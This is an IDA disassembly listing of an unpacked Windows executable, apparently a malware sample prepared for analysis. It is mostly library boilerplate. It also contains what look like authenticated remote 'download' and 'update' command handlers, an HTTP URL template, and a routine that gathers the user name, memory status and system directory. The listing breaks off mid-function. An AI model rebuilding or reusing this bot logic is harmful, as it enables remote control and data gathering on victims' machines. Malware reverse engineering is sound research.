;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 617BC036E4B16E98A5129A9CF17A87D9
; File Name : u:\work\617bc036e4b16e98a5129a9cf17a87d9_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0001B53E ( 111934.)
; Section size in file : 0001B53E ( 111934.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; [0000001C BYTES: COLLAPSED FUNCTION std::char_traits<char>::_Copy_s(char *,uint,char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION std::char_traits<char>::_Move_s(char *,uint,char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_401038 proc near ; DATA XREF: .rdata:004219C4o
mov dword ptr [ecx], offset off_41D314
jmp sub_402CCA
sub_401038 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_401043(void *Memory,char)
sub_401043 proc near ; DATA XREF: .rdata:off_41D314o
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41D314
call sub_402CCA
test [esp+4+arg_0], 1
jz short loc_40105F
push esi ; Memory
call j__free
pop ecx
loc_40105F: ; CODE XREF: sub_401043+13j
mov eax, esi
pop esi
retn 4
sub_401043 endp
; =============== S U B R O U T I N E =======================================
sub_401065 proc near ; CODE XREF: sub_40121E+43p
; sub_4016BA+43p ...
push 4
mov eax, offset __ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z_0
call __EH_prolog3
mov esi, ecx
mov [ebp-10h], esi
call sub_402BFB
and dword ptr [ebp-4], 0
push dword ptr [ebp+8]
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41D320
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &)
mov eax, esi
call __EH_epilog3
retn 4
sub_401065 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40109A proc near ; CODE XREF: sub_4010C5+3p
; sub_4010E1+6j ...
push esi
mov esi, ecx
push 0 ; MaxCount
push 1 ; char
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41D320
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
mov ecx, esi
pop esi
jmp sub_402CCA
sub_40109A endp
; [0000000E BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_4010C5(void *Memory,char)
sub_4010C5 proc near ; DATA XREF: .rdata:off_41D320o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40109A
test [esp+4+arg_0], 1
jz short loc_4010DB
push esi ; Memory
call j__free
pop ecx
loc_4010DB: ; CODE XREF: sub_4010C5+Dj
mov eax, esi
pop esi
retn 4
sub_4010C5 endp
; =============== S U B R O U T I N E =======================================
sub_4010E1 proc near ; DATA XREF: .rdata:0042198Co
mov dword ptr [ecx], offset off_41D32C
jmp sub_40109A
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_4010EC(void *Memory,char)
sub_4010EC proc near ; DATA XREF: .rdata:off_41D32Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41D32C
call sub_40109A
test [esp+4+arg_0], 1
jz short loc_401108
push esi ; Memory
call j__free
pop ecx
loc_401108: ; CODE XREF: sub_4010EC+13j
mov eax, esi
pop esi
retn 4
sub_4010EC endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_401137: ; CODE XREF: .text:0041C1CEj
; .text:0041C24Aj ...
push 0
push 1
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
retn
; [00000092 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000004B BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40121E proc near ; CODE XREF: sub_41BB84+4Ap
push 44h
mov eax, offset loc_41C2BC
call __EH_prolog3
push dword ptr [ebp+10h]
mov esi, [ebp+0Ch]
push dword ptr [esi+4]
push esi
call sub_401395
mov ecx, 0FC0FC0h
sub ecx, dword_433C44
cmp ecx, 1
jnb short loc_40127B
push offset aListTTooLong ; "list<T> too long"
lea ecx, [ebp-28h]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_401065
push offset dword_421988
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_41D32C
call __CxxThrowException@8 ; _CxxThrowException(x,x)
loc_40127B: ; CODE XREF: sub_40121E+29j
inc dword_433C44
mov [esi+4], eax
mov ecx, [eax+4]
mov [ecx], eax
call __EH_epilog3
retn 0Ch
sub_40121E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_401291 proc near ; CODE XREF: sub_41C370p
push 10Ch ; Size
call ??2@YAPAXI@Z ; operator new(uint)
test eax, eax
pop ecx
jz short loc_4012A2
mov [eax], eax
loc_4012A2: ; CODE XREF: sub_401291+Dj
lea ecx, [eax+4]
test ecx, ecx
jz short locret_4012AB
mov [ecx], eax
locret_4012AB: ; CODE XREF: sub_401291+16j
retn
sub_401291 endp
; [0000006F BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Eos(uint). PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_401395 proc near ; CODE XREF: sub_40121E+16p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 10Ch ; Size
call ??2@YAPAXI@Z ; operator new(uint)
test eax, eax
pop ecx
jz short loc_4013AA
mov ecx, [esp+arg_0]
mov [eax], ecx
loc_4013AA: ; CODE XREF: sub_401395+Dj
lea ecx, [eax+4]
test ecx, ecx
jz short loc_4013B7
mov edx, [esp+arg_4]
mov [ecx], edx
loc_4013B7: ; CODE XREF: sub_401395+1Aj
push edi
lea edi, [eax+8]
test edi, edi
jz short loc_4013CA
push esi
mov esi, [esp+8+arg_8]
push 41h
pop ecx
rep movsd
pop esi
loc_4013CA: ; CODE XREF: sub_401395+28j
pop edi
retn 0Ch
sub_401395 endp
; ---------------------------------------------------------------------------
push esi
push dword ptr [esp+8]
mov esi, ecx
call sub_4013E6
mov dword ptr [esi], offset off_41D32C
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4013E6 proc near ; CODE XREF: .text:004013D5p
; sub_4026B9+46p
push 4
mov eax, offset __ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z_0
call __EH_prolog3
mov esi, ecx
mov [ebp-10h], esi
mov edi, [ebp+8]
push edi
call ??0exception@std@@QAE@ABV01@@Z ; std::exception::exception(exception::exception const &)
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_41D320
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &)
mov eax, esi
call __EH_epilog3
retn 4
sub_4013E6 endp ; sp-analysis failed
; [00000022 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *). PRESS KEYPAD "+" TO EXPAND]
; [000000CD BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_401524 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)+17p
Src = dword ptr 4
mov eax, [esp+Src]
push esi
mov esi, ecx
lea edx, [eax+1]
loc_40152E: ; CODE XREF: sub_401524+Fj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_40152E
sub eax, edx
push eax ; MaxCount
push [esp+8+Src] ; Src
mov ecx, esi
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint)
pop esi
retn 4
sub_401524 endp
; [00000072 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Inside(char const *). PRESS KEYPAD "+" TO EXPAND]
; [00000062 BYTES: COLLAPSED FUNCTION std::_Allocate<char>(uint,char *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40164F proc near ; CODE XREF: sub_40243A+47p
; sub_40243A:loc_4024A3p ...
cmp dword ptr [esi], 0
jnz short loc_401659
call __invalid_parameter_noinfo
loc_401659: ; CODE XREF: sub_40164F+3j
mov eax, [esi]
mov ecx, [esi+4]
cmp ecx, [eax+4]
jnz short loc_401668
call __invalid_parameter_noinfo
loc_401668: ; CODE XREF: sub_40164F+12j
mov eax, [esi+4]
add eax, 8
retn
sub_40164F endp
; =============== S U B R O U T I N E =======================================
sub_40166F proc near ; CODE XREF: sub_40243A+39p
; sub_413F8F+2Fp ...
mov eax, [esi]
test eax, eax
jz short loc_401679
cmp eax, [edi]
jz short loc_40167E
loc_401679: ; CODE XREF: sub_40166F+4j
call __invalid_parameter_noinfo
loc_40167E: ; CODE XREF: sub_40166F+8j
mov eax, [esi+4]
xor ecx, ecx
cmp eax, [edi+4]
setnz cl
mov al, cl
retn
sub_40166F endp
; =============== S U B R O U T I N E =======================================
sub_40168C proc near ; CODE XREF: sub_40243A+62p
; sub_413F8F+47p ...
cmp dword ptr [esi], 0
mov eax, [esi]
mov [edi], eax
mov eax, [esi+4]
mov [edi+4], eax
jnz short loc_4016A0
call __invalid_parameter_noinfo
loc_4016A0: ; CODE XREF: sub_40168C+Dj
mov eax, [esi]
mov ecx, [esi+4]
cmp ecx, [eax+4]
jnz short loc_4016AF
call __invalid_parameter_noinfo
loc_4016AF: ; CODE XREF: sub_40168C+1Cj
mov eax, [esi+4]
mov eax, [eax]
mov [esi+4], eax
mov eax, edi
retn
sub_40168C endp
; =============== S U B R O U T I N E =======================================
sub_4016BA proc near ; CODE XREF: sub_4140AB+54p
push 48h
mov eax, offset loc_41C24F
call __EH_prolog3
push dword ptr [ebp+8]
mov esi, [ebp+10h]
push dword ptr [esi+4]
push esi
call sub_401745
mov ecx, 3C3C3C3h
sub ecx, dword_433C50
cmp ecx, 1
jnb short loc_401717
push offset aListTTooLong ; "list<T> too long"
lea ecx, [ebp-2Ch]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-54h]
call sub_401065
push offset dword_421988
lea eax, [ebp-54h]
push eax
mov dword ptr [ebp-54h], offset off_41D32C
call __CxxThrowException@8 ; _CxxThrowException(x,x)
loc_401717: ; CODE XREF: sub_4016BA+29j
inc dword_433C50
mov [esi+4], eax
mov ecx, [eax+4]
mov [ecx], eax
call __EH_epilog3
retn 0Ch
sub_4016BA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40172D proc near ; CODE XREF: sub_41C370:loc_41C38Dp
push 4Ch ; Size
call ??2@YAPAXI@Z ; operator new(uint)
test eax, eax
pop ecx
jz short loc_40173B
mov [eax], eax
loc_40173B: ; CODE XREF: sub_40172D+Aj
lea ecx, [eax+4]
test ecx, ecx
jz short locret_401744
mov [ecx], eax
locret_401744: ; CODE XREF: sub_40172D+13j
retn
sub_40172D endp
; =============== S U B R O U T I N E =======================================
sub_401745 proc near ; CODE XREF: sub_4016BA+16p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 4Ch ; Size
call ??2@YAPAXI@Z ; operator new(uint)
test eax, eax
pop ecx
jz short loc_401757
mov ecx, [esp+arg_0]
mov [eax], ecx
loc_401757: ; CODE XREF: sub_401745+Aj
lea ecx, [eax+4]
test ecx, ecx
jz short loc_401764
mov edx, [esp+arg_4]
mov [ecx], edx
loc_401764: ; CODE XREF: sub_401745+17j
push edi
lea edi, [eax+8]
test edi, edi
jz short loc_401777
push esi
mov esi, [esp+8+arg_8]
push 11h
pop ecx
rep movsd
pop esi
loc_401777: ; CODE XREF: sub_401745+25j
pop edi
retn 0Ch
sub_401745 endp
; =============== S U B R O U T I N E =======================================
sub_40177B proc near ; DATA XREF: .rdata:off_420AE4o
push 4B8h
mov eax, offset loc_41C348
call __EH_prolog3_GS
cmp dword ptr [ebp+1Ch], 3
mov eax, [ebp+10h]
mov edi, [ebp+20h]
mov [ebp-4C4h], eax
mov eax, [ebp+18h]
mov [ebp-4BCh], eax
mov [ebp-4C0h], edi
jl loc_4019D5
mov esi, 0BFh
xor ebx, ebx
push esi ; size_t
lea eax, [ebp-18Fh]
push ebx ; int
push eax ; void *
mov [ebp-190h], bl
call _memset
push esi ; size_t
lea eax, [ebp-0CFh]
push ebx ; int
push eax ; void *
mov [ebp-0D0h], bl
call _memset
push dword ptr [edi+4]
lea edi, [ebp-190h]
call sub_41B7F9
push 0C0h
lea esi, [ebp-0D0h]
mov ebx, offset dword_425228
call sub_4196D1
add esp, 20h
cmp byte ptr [ebp+8], 0
jz short loc_401817
cmp byte_425222, 0
jz loc_4019EB
loc_401817: ; CODE XREF: sub_40177B+8Dj
lea ecx, [ebp-0D0h]
lea eax, [ebp-190h]
loc_401823: ; CODE XREF: sub_40177B+C0j
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_401841
test dl, dl
jz short loc_40183D
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_401841
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jnz short loc_401823
loc_40183D: ; CODE XREF: sub_40177B+B0j
xor eax, eax
jmp short loc_401846
; ---------------------------------------------------------------------------
loc_401841: ; CODE XREF: sub_40177B+ACj
; sub_40177B+B8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_401846: ; CODE XREF: sub_40177B+C4j
test eax, eax
jnz loc_4019C8
push 327h ; size_t
push eax ; int
lea eax, [ebp-4B8h]
push eax ; void *
call _memset
push dword ptr [ebp-4BCh]
mov esi, offset aS_19 ; "%s"
push esi ; Format
mov edi, 0FFh
lea eax, [ebp-4B8h]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-4B8h]
add esp, 1Ch
lea ecx, [eax+1]
loc_40188A: ; CODE XREF: sub_40177B+114j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_40188A
push dword ptr [ebp-4C4h]
sub eax, ecx
push esi ; Format
mov [ebp+eax-4B8h], dl
lea eax, [ebp-3B8h]
push 22h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-3B8h]
add esp, 10h
lea ecx, [eax+1]
loc_4018BB: ; CODE XREF: sub_40177B+145j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_4018BB
mov ebx, [ebp-4C0h]
push dword ptr [ebx+8]
sub eax, ecx
push esi ; Format
mov [ebp+eax-3B8h], dl
lea eax, [ebp-395h]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-395h]
add esp, 10h
lea ecx, [eax+1]
loc_4018EE: ; CODE XREF: sub_40177B+178j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_4018EE
push dword ptr [ebx+0Ch]
sub eax, ecx
push esi ; Format
mov [ebp+eax-395h], dl
lea eax, [ebp-295h]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-295h]
add esp, 10h
lea esi, [eax+1]
loc_40191B: ; CODE XREF: sub_40177B+1A5j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_40191B
sub eax, esi
mov [ebp+eax-295h], cl
mov al, [ebp+8]
mov [ebp-192h], al
mov al, [ebp+0Ch]
push 4
mov [ebp-193h], al
pop eax
cmp [ebp+1Ch], eax
jl short loc_40198B
mov [ebp-4BCh], eax
loc_40194B: ; CODE XREF: sub_40177B+203j
mov eax, [ebx+eax*4]
push 3
mov edi, offset aE ; "-e"
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb
jz short loc_401982
mov esi, eax
push 2
mov edi, offset a1_0 ; "1"
pop ecx
xor eax, eax
repe cmpsb
jz short loc_401982
mov eax, [ebp-4BCh]
inc eax
cmp eax, [ebp+1Ch]
mov [ebp-4BCh], eax
jle short loc_40194B
jmp short loc_401992
; ---------------------------------------------------------------------------
loc_401982: ; CODE XREF: sub_40177B+1E1j
; sub_40177B+1F1j
mov byte ptr [ebp-195h], 1
jmp short loc_401992
; ---------------------------------------------------------------------------
loc_40198B: ; CODE XREF: sub_40177B+1C8j
mov byte ptr [ebp-195h], 0
loc_401992: ; CODE XREF: sub_40177B+205j
; sub_40177B+20Ej
push 8 ; Size
mov byte ptr [ebp-194h], 0
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov [ebp-4C0h], eax
and dword ptr [ebp-4], 0
test eax, eax
jz short loc_4019EB
push offset sub_41B925
lea ecx, [ebp-4B8h]
mov edi, offset aDl_0 ; "DL"
mov esi, eax
call sub_4140AB
jmp short loc_4019EB
; ---------------------------------------------------------------------------
loc_4019C8: ; CODE XREF: sub_40177B+CDj
push offset aDlAuthFailure_ ; "DL: Auth Failure."
push dword ptr [ebp-4BCh]
jmp short loc_4019DB
; ---------------------------------------------------------------------------
loc_4019D5: ; CODE XREF: sub_40177B+2Ej
push offset aDlInvalidArgum ; "DL: Invalid Arguments"
push eax ; int
loc_4019DB: ; CODE XREF: sub_40177B+258j
push dword ptr [ebp+0Ch] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 10h
loc_4019EB: ; CODE XREF: sub_40177B+96j
; sub_40177B+232j ...
call sub_40467F
retn 1Ch
sub_40177B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4019F3 proc near ; DATA XREF: .rdata:off_420AECo
push 4B8h
mov eax, offset loc_41C313
call __EH_prolog3_GS
cmp dword ptr [ebp+1Ch], 3
mov eax, [ebp+10h]
mov edi, [ebp+20h]
mov [ebp-4C4h], eax
mov eax, [ebp+18h]
mov [ebp-4C0h], eax
mov [ebp-4BCh], edi
jl loc_401BFF
mov esi, 0BFh
xor ebx, ebx
push esi ; size_t
lea eax, [ebp-18Fh]
push ebx ; int
push eax ; void *
mov [ebp-190h], bl
call _memset
push esi ; size_t
lea eax, [ebp-0CFh]
push ebx ; int
push eax ; void *
mov [ebp-0D0h], bl
call _memset
push dword ptr [edi+4]
lea edi, [ebp-190h]
call sub_41B7F9
push 0C0h
lea esi, [ebp-0D0h]
mov ebx, offset dword_425468
call sub_4196D1
add esp, 20h
cmp byte ptr [ebp+8], 0
jz short loc_401A8F
cmp byte_425222, 0
jz loc_401C15
loc_401A8F: ; CODE XREF: sub_4019F3+8Dj
lea ecx, [ebp-0D0h]
lea eax, [ebp-190h]
loc_401A9B: ; CODE XREF: sub_4019F3+C0j
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_401AB9
test dl, dl
jz short loc_401AB5
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_401AB9
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jnz short loc_401A9B
loc_401AB5: ; CODE XREF: sub_4019F3+B0j
xor eax, eax
jmp short loc_401ABE
; ---------------------------------------------------------------------------
loc_401AB9: ; CODE XREF: sub_4019F3+ACj
; sub_4019F3+B8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_401ABE: ; CODE XREF: sub_4019F3+C4j
test eax, eax
jnz loc_401BF2
push 327h ; size_t
push eax ; int
lea eax, [ebp-4B8h]
push eax ; void *
call _memset
push dword ptr [ebp-4C0h]
mov esi, offset aS_19 ; "%s"
push esi ; Format
mov edi, 0FFh
lea eax, [ebp-4B8h]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-4B8h]
add esp, 1Ch
lea ecx, [eax+1]
loc_401B02: ; CODE XREF: sub_4019F3+114j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_401B02
push dword ptr [ebp-4C4h]
sub eax, ecx
push esi ; Format
mov [ebp+eax-4B8h], dl
lea eax, [ebp-3B8h]
push 22h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-3B8h]
add esp, 10h
lea ecx, [eax+1]
loc_401B33: ; CODE XREF: sub_4019F3+145j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_401B33
mov ebx, [ebp-4BCh]
push dword ptr [ebx+8]
sub eax, ecx
push esi ; Format
mov [ebp+eax-3B8h], dl
lea eax, [ebp-395h]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-395h]
add esp, 10h
lea ecx, [eax+1]
loc_401B66: ; CODE XREF: sub_4019F3+178j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_401B66
push dword ptr [ebx+0Ch]
sub eax, ecx
push esi ; Format
mov [ebp+eax-395h], dl
lea eax, [ebp-295h]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp-295h]
add esp, 10h
lea ecx, [eax+1]
loc_401B93: ; CODE XREF: sub_4019F3+1A5j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_401B93
sub eax, ecx
mov [ebp+eax-295h], dl
mov al, [ebp+8]
mov [ebp-192h], al
mov al, [ebp+0Ch]
push 8 ; Size
mov [ebp-193h], al
mov byte ptr [ebp-195h], 1
mov byte ptr [ebp-194h], 1
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov [ebp-4BCh], eax
and dword ptr [ebp-4], 0
test eax, eax
jz short loc_401C15
push offset sub_41B925
lea ecx, [ebp-4B8h]
mov edi, offset aDl_0 ; "DL"
mov esi, eax
call sub_4140AB
jmp short loc_401C15
; ---------------------------------------------------------------------------
loc_401BF2: ; CODE XREF: sub_4019F3+CDj
push offset aUpdAuthFailure ; "UPD: Auth Failure."
push dword ptr [ebp-4C0h]
jmp short loc_401C05
; ---------------------------------------------------------------------------
loc_401BFF: ; CODE XREF: sub_4019F3+2Ej
push offset aUpdInvalidArgu ; "UPD: Invalid Arguments."
push eax ; int
loc_401C05: ; CODE XREF: sub_4019F3+20Aj
push dword ptr [ebp+0Ch] ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 10h
loc_401C15: ; CODE XREF: sub_4019F3+96j
; sub_4019F3+1E4j ...
call sub_40467F
retn 1Ch
sub_4019F3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401C1D proc near ; DATA XREF: .rdata:off_420B04o
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
Args = byte ptr -14h
var_13 = byte ptr -13h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 118h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_10]
push ebx
mov [ebp+var_118], eax
push esi
push edi
xor eax, eax
xor ecx, ecx
mov [ebp+Args], cl
lea edi, [ebp+var_13]
stosd
stosd
stosd
stosw
push 0FFh ; size_t
stosb
push ecx ; int
lea eax, [ebp+var_113]
push eax ; void *
mov [ebp+var_114], cl
call _memset
push dword_4269BC
lea esi, [ebp+Args]
call sub_418FC6
push 100h
lea esi, [ebp+var_114]
mov ebx, offset byte_425061
call sub_4196D1
mov eax, esi
push eax
push dword_426594
lea eax, [ebp+Args]
push eax ; Args
push offset aHttpSDS ; "http://%s:%d/%s"
push [ebp+var_118] ; int
push dword ptr [ebp+arg_4] ; char
push offset dword_4269BC ; int
call sub_417361
mov ecx, [ebp+var_4]
add esp, 30h
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn 1Ch
sub_401C1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401CC0 proc near ; DATA XREF: .rdata:off_420BC4o
var_444 = byte ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = byte ptr -438h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_418 = byte ptr -418h
var_417 = byte ptr -417h
var_408 = byte ptr -408h
var_407 = byte ptr -407h
var_308 = byte ptr -308h
var_307 = byte ptr -307h
var_208 = byte ptr -208h
var_207 = byte ptr -207h
Args = byte ptr -108h
var_107 = byte ptr -107h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 444h
mov eax, dword_423064
xor eax, esp
mov [esp+444h+var_4], eax
mov eax, [ebp+arg_10]
push ebx
push esi
push edi
mov esi, 0FFh
push esi ; size_t
mov [esp+454h+var_43C], eax
xor ebx, ebx
lea eax, [esp+454h+var_107]
push ebx ; int
push eax ; void *
mov [esp+45Ch+Args], 0
call _memset
add esp, 0Ch
push esi ; size_t
lea eax, [esp+454h+var_307]
push ebx ; int
push eax ; void *
mov [esp+45Ch+var_308], bl
call _memset
xor eax, eax
mov [esp+45Ch+var_418], bl
lea edi, [esp+45Ch+var_417]
stosd
stosd
stosd
stosw
add esp, 0Ch
push esi ; size_t
stosb
lea eax, [esp+454h+var_407]
push ebx ; int
push eax ; void *
mov [esp+45Ch+var_408], bl
call _memset
add esp, 0Ch
push esi ; size_t
lea eax, [esp+454h+var_207]
push ebx ; int
push eax ; void *
mov [esp+45Ch+var_208], bl
call _memset
add esp, 0Ch
push 8
pop ecx
xor eax, eax
lea edi, [esp+450h+var_438]
rep stosd
lea eax, [esp+450h+var_438]
mov ebx, 100h
push eax
mov [esp+454h+var_440], ebx
call ds:dword_41D098 ; GlobalMemoryStatus
mov edi, [esp+450h+var_430]
mov ecx, [esp+450h+var_42C]
shr edi, 14h
shr ecx, 14h
mov eax, edi
sub eax, ecx
push 1
mov ecx, ebx ; unsigned int
lea esi, [esp+454h+Args]
mov dword ptr [esp+454h+var_444], eax
call sub_418E51
pop ecx
call sub_41A391
push 1
push ebx
lea esi, [esp+458h+var_308]
call sub_418E1F
push dword_4269BC
lea esi, [esp+45Ch+var_418]
call sub_418FC6
add esp, 0Ch
lea eax, [esp+450h+var_440]
push eax
lea eax, [esp+454h+var_408]
push eax
call ds:dword_41D048 ; GetUserNameA
push ebx
lea eax, [esp+454h+var_208]
push eax
call ds:dword_41D0F4 ; GetSystemDirectoryA
call sub_418DA0
push dword_4265AC
lea eax, [esp+454h+var_208]
push dword_4265A8
push dword_4265A4
push dword_4265A0
push dword_42659C
push dword_426598
push eax
lea eax, [esp+46Ch+var_408]
push eax
mov eax, esi
push eax
lea eax, [esp+474h+var_308]
push eax
